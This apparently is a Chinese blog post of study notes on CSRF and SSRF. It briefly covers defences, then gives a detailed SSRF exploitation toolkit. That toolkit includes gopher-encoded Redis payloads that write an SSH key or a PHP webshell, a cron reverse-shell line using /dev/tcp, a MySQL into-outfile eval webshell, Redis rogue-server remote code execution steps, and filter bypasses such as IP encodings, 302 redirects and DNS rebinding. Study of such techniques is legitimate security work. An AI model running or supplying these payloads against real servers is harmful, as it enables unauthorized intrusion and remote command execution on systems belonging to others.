CSRF & SSRF

CSRF & SSRF


CSRF

CSRF(Cross-Site Request Forgery)(跨站请求伪造漏洞)


原理

用户访问网站,网站给用户cookie,此时攻击者给用户发送了一个诱惑链接,链接里有对该网站的访问代码,用户点击攻击者的链接后,触发恶意代码,攻击者就利用用户的cookie,执行了对网站的请求(以接口形式调用请求)

恶意代码例:


发邮件,发消息,改密码,买东西,货币转账等方式威胁账户安全

bp -> engagement tools -> generate CSRF Poc 生成html代码,放到网站中,然后诱导用户点击网站,触发CSRF


防御

1、验证referer值(来源界面)

(攻击者可抓包修改referer值)


2、Cookie hashing:客户端对cookie生成摘要,发送给客户端,客户端验证cookie

(攻击者可用xss注入获取用户cookie值)


3、生成随机token:服务器生成随机token,保存并发送给用户,用户界面上有个隐藏字段用于保存token,用户每次访问需携带该token,当用户退出时,token失效

(依旧可通过xss注入获得token)例:


4、二次验证

如:验证码

5、waf

6、不要点不明链接


SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,服务器发送请求的漏洞,攻击目标为外网无法访问的内部系统(内网)


成因

客户端向服务端请求远程服务器的资源,由服务端向远程服务器请求资源,再返回给客户端

如:传资源给该服务端时,服务端帮我们去特定url请求资源,再返回给客户端

当构造url为127.0.0.1:3306,如果服务端没有过滤,就会帮我们请求内网的资源。

可利用方式:


防御

1、限制请求的端口为web端口

2、限制不能访问内网IP

3、屏蔽返回的详细信息和错误信息

4、禁用不需要的协议,防止类似于file://,gopher://,ftp:// 等引起的问题


总结图


相关内容

参考:https://blog.csdn.net/q20010619/article/details/120536552

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF


fuzz tool

swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation tool (github.com)


伪协议

利用链:
file伪协议探测主机信息-->dict伪协议探测端口开放信息-->http伪协议目录扫描-->gopher伪协议攻击内网


file

file:// 从文件系统中获取文件内容

file:///etc/passwd        #读取文件passwd
file:///etc/hosts         #显示当前操作系统网卡的IP,知道网段
file:///proc/net/arp      #显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_trie #显示当前网段路由信息


HECTF2023 伪装者

1、

明显有url=,可ssrf,使用到file://协议(需要绝对路径 )

例子:file:///var/www/html/flag.php


2、url后格式要有http头等


dict

dict://:字典服务协议,访问字典资源


http

http://:常规url形式,访问文件或其他资源

目录扫描


gopher

被称为http协议前身,与http很像。默认端口:70

用途:get、post、redis、fastcgi、sql等

比http在ssrf请求中只能进行get提交强:gopher可以进行post提交

如图:gopher请求资源中,不会转发第一个字符


get提交


GET /name.php HTTP/1.1
Host: 172.250.250.4

gopher://172.250.250.4:80/_GET%20/name.php%3fname=cyi%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
%0d%0A : 换行
注意点:GET前一个无用字符,一次url编码,结尾也需要一个换行

或bp抓包,然后进行两次url编码


将无用数据_后数据两次url编码(所有字符选项),然后发送


两次URL编码原因:在进行ssrf的服务器上进行了一次url解码,请求到真正的主机时又进行一次url解码

所有注意事项:

1、注意添加端口号80和填充位
2、GET提交最后需要增加一个换行符,即在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
3、问号(?)需要转码为URL编码,也就是%3f
4、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
5、URL编码改为大写,冒号注意英文冒号
6、如果使用BP发包需要进行两次url编码

post提交

注意点:

1、访问主机地址吗和请求的资源要正确
2、Content-Length(post的内容长度)和Content-Type要注意
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

name=cyi

提交过程和get一样,浏览器框框就进行一次url编码(浏览器会自动encode一次),bp就进行两次。

浏览器:

gopher://172.250.250.4:80/_%50%4f%53%54%20%2f%6e%61%6d%65%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%32%35%30%2e%32%35%30%2e%34%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0a%0a%6e%61%6d%65%3d%63%79%69


bp:


当我们是通过ssrf进行命令执行时,我们需要注意post提交的内容名

或直接bp抓一下包,获取name


然后就是和之前一样的构造,将_后数据URL编码两次后发送,右边是URL编码后的响应数据


gopher exp tool

tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers (github.com)

usage

python2 .\gopherus.py --exploit ?
可以攻击很多东西:mysql、postgresql、fastcgi、redis、zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp
python2 .\gopherus.py --exploit mysql


curl

function get($url){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}

支持很多协议,ftp、file、http、https、gopher.........,当作正常请求就行了

如:$url = "file:///var/www/html/flag";



ssrf+xxe


ssrf+mysql

命令型


写shell型

这种得有sql写入权限,可先用

show variables like '%secure%'

判断是否有权限

当secure_file_priv为空时可将文件放到任意指定位置(目录必须存在,文件会自动新建),为NULL时不可

然后对特定路径进行写入,查各种web服务器的默认根路径

select "<?php @eval($_POST['cmd']);?>" into outfile "文件绝对路径"

bp进行操作的话记得多url编码一次


ssrf+redis(手动构造)

redis协议格式

*4        #多少条命令(config set dir /tmp)
$6        #命令长度
config
$3
set
$3
dir
$4
/tmp

以ssh公钥写入为例

想要构造的内容

config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload 公钥内容
save
quit
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
$567


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrdpM+sD/U4uU2/cj3V/YqggLgcb1sdgPFPHJh/R1rI2uO3VTDdtMkL8ZJnwB4iV9Bk5qOgd3uXEZ9amQnF/1PeGWd1Zp7EfK2aUMbFk2Qo6DMVX6dacnLS9IOwvOEAzGObX3QM6ENu5PRugi+MhCUPFMhUe0040bmjKHplBqcOK5t3hFFybMKYRvrCLA0A3PL/609VeUDm0Bk6jjseV6/1aIV5asb2xWOg6a62YTBbGDx3BirtO9jFeAwkZsMTd3unuRtRdtqN2Tn2uCeKD0Mq/uhmH3fGBoQ+537rXE2Kkl4gcvu2S4K7A8TR5HN4bdwvR6YA4jF/Gkc2KMH+a7UNMwF59zekiT+KOeb9o/eheXkNML2qN6iyABococ7Iq+w4wypoZh4XwLWNMOix9HmbVwDi3Upi3ktAGXHJ024omaSewhSnTPW3+jG4qOO5R7UXDVd3cpm9QDZUCnV1cy8eK5UepfOJijBl5uxa4Nsc+u6J/PvINI1vvP3f8zWkkM= 86139@xhz


*1
$4
save
*1
$4
quit

这里的ssh公钥需要换两行,因为写入备份文件时,redis在首尾会添加数据,换两行保证公钥文件有效

将换行符换成%0d%0A,gopher伪协议打

*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$3%0d%0Adir%0d%0A$11%0d%0A/root/.ssh/%0d%0A*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$10%0d%0Adbfilename%0d%0A$15%0d%0Aauthorized_keys%0d%0A*3%0d%0A$3%0d%0Aset%0d%0A$7%0d%0Apayload%0d%0A$567%0d%0A%0d%0A%0d%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrdpM+sD/U4uU2/cj3V/YqggLgcb1sdgPFPHJh/R1rI2uO3VTDdtMkL8ZJnwB4iV9Bk5qOgd3uXEZ9amQnF/1PeGWd1Zp7EfK2aUMbFk2Qo6DMVX6dacnLS9IOwvOEAzGObX3QM6ENu5PRugi+MhCUPFMhUe0040bmjKHplBqcOK5t3hFFybMKYRvrCLA0A3PL/609VeUDm0Bk6jjseV6/1aIV5asb2xWOg6a62YTBbGDx3BirtO9jFeAwkZsMTd3unuRtRdtqN2Tn2uCeKD0Mq/uhmH3fGBoQ+537rXE2Kkl4gcvu2S4K7A8TR5HN4bdwvR6YA4jF/Gkc2KMH+a7UNMwF59zekiT+KOeb9o/eheXkNML2qN6iyABococ7Iq+w4wypoZh4XwLWNMOix9HmbVwDi3Upi3ktAGXHJ024omaSewhSnTPW3+jG4qOO5R7UXDVd3cpm9QDZUCnV1cy8eK5UepfOJijBl5uxa4Nsc+u6J/PvINI1vvP3f8zWkkM= 86139@xhz%0d%0A%0d%0A%0d%0A*1%0d%0A$4%0d%0Asave%0d%0A*1%0d%0A$4%0d%0Aquit%0d%0A


ssrf+redis(用gopherus)


dict伪协议访问redis info信息,判断是否存在无认证登录

dict://xxx.xxx.xxx.xxx:6379/info



未授权访问漏洞

成因:服务器版本较低,且未设置登陆密码


info信息响应,存在未授权访问

工具构造payload


gopher://xxx.xxx.xxx.xxx:6379/_......

这里一直转圈圈正常,工具没在结尾加quit,文件已经写进去了,直接中断就行

http://xxx.xxx.xxx.xxx/shell.php?cmd=...


未授权计划任务写入

任务计划路径

Centos : /var/spool/cron
Ubuntu : /var/spool/cron/crontabs

nc -lvp 1234

ssrf+redis(用rog)

redis-over--gopher


写webshell

redis.cmd文件写入

flushall
config set dir /var/html/www
config set dbfilename shell.php
set 'shell' '<?php phpinfo();?>'
save
flushall    #清空记录
config set dir /var/html/www    #写入的文件路径
config set dbfilename shell.php    #写入的文件名
set 'shell' '<?php phpinfo();?>'    #配置shell
save    #保存


gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%55%73%65%72%73%2f%6d%69%30%2f%77%77%77%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a


ssh公钥

前提:开启redis和ssh,有写入.ssh目录权限


本地生成公私钥

ssh-keygen -t rsa

redis.cmd

flushall
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
set 'shell' '公钥内容'
save

如果失败了就去看手动构造


计划任务

Ubuntu的起的redis的话写不了(很多问题)

redis.cmd

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

ip和port 改成反弹shell服务器

如果不行的话,可能是\n原因,参考手动构造ssh,手动构造这个


redis主从复制

影响范围:redis4.x ~ 5.x

主从模式:使用一个redis服务器作为主机,其他作为备份机,主机和从机数据相同,而从机只负责读,主机只负责写

漏洞原理(个人理解):我们构造主redis服务器,利用未授权访问等漏洞使对方靶机从属于我们的redis服务器,然后我们在我们redis上构造exp.so(内容怎么getshell不知道),并通过FULLRESYNC同步文件到从机上,执行getshell


exp.so生成

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
进入该目录输入make
生成exp.so

外网

Dliv3/redis-rogue-server: Redis 4.x/5.x RCE (github.com)

前提:

  • 外网Redis未授权访问
  • 已知外网Redis口令
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
  • --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标redis服务IP
  • --rport 目标redis服务端口,默认为6379
  • --lhost vps的外网IP地址
  • --lport vps监控的端口,默认为21000

搭配ssrf(内网)

#查看当前redis的相关配置
?url=dict://127.0.0.1:6379/info

#设置路径
?url=dict://127.0.0.1:6379/config:set:dir:/tmp

#设置备份文件名
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
#在这时候运行python rogueserver.py --lport 9999 --exp exp.so(这个很快会结束,不知道为什么,但是对方服务器已经从属于我们了)
?url=dict://127.0.0.1:6379/slaveof:xxx.xxx.xxx.xxx:9999

#加载恶意模块
?url=dict://127.0.0.1:6379/module:load:/tmp/exp.so

#切断主从复制
?url=dict://127.0.0.1:6379/slaveof:no:one

#执行系统命令
?url=dict://127.0.0.1:6379/system.exec:env

用gopher打:Redis主从复制getshell技巧 - Bypass - 博客园 (cnblogs.com)


ssrf+sql,upload,cmd,include

橙子科技视频


绕过

127.0.0.1

PHP下的SSRF - 0X7e - 博客园 (cnblogs.com)

转换成其他进制表示

八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

enclosed alphanumerics

http://①②⑦.⓪.⓪.①  -->  http://127.0.0.1

List:
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 

其他方式:

http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]:80/  -->  http://127.0.0.1
127。0。0。1  -->  127.0.0.1
缺省模式:127.0.0.1写成127.1
CIDR:http://127.127.127.127

302重定向绕过

让ssrf服务器访问自己的服务器对应端口,该端口开启一个简易服务器,里面的代码是重定向代码,让ssrf服务器重定向到内网的文件资源,然后放回结果给我们


<?php
header('Location: http://127.0.0.1/flag.php');

服务器在当前目录开启php内置服务器

php -S 0.0.0.0:8888

访问后,302跳转


DNS重绑定绕过

参考:https://blog.csdn.net/qq_36348899/article/details/119297854

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。(浏览器同源策略) 这就是DNS Rebinding攻击。


在ssrf中,第一次用户请求时,ssrf服务器进行dns解析,结果为一个合法ip,利用服务器缓存时间短(配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存),向服务器发起请求时,进行dns解析,解析结果为内网地址,实现重绑定绕过


提供TTL值为0的域名网站:rbndr.us dns rebinding service (cmpxchg8b.com)

(ip随便填个公网ip)

posted @ 2024-03-24 18:19  ^cyi^  阅读(32)  评论(0编辑  收藏  举报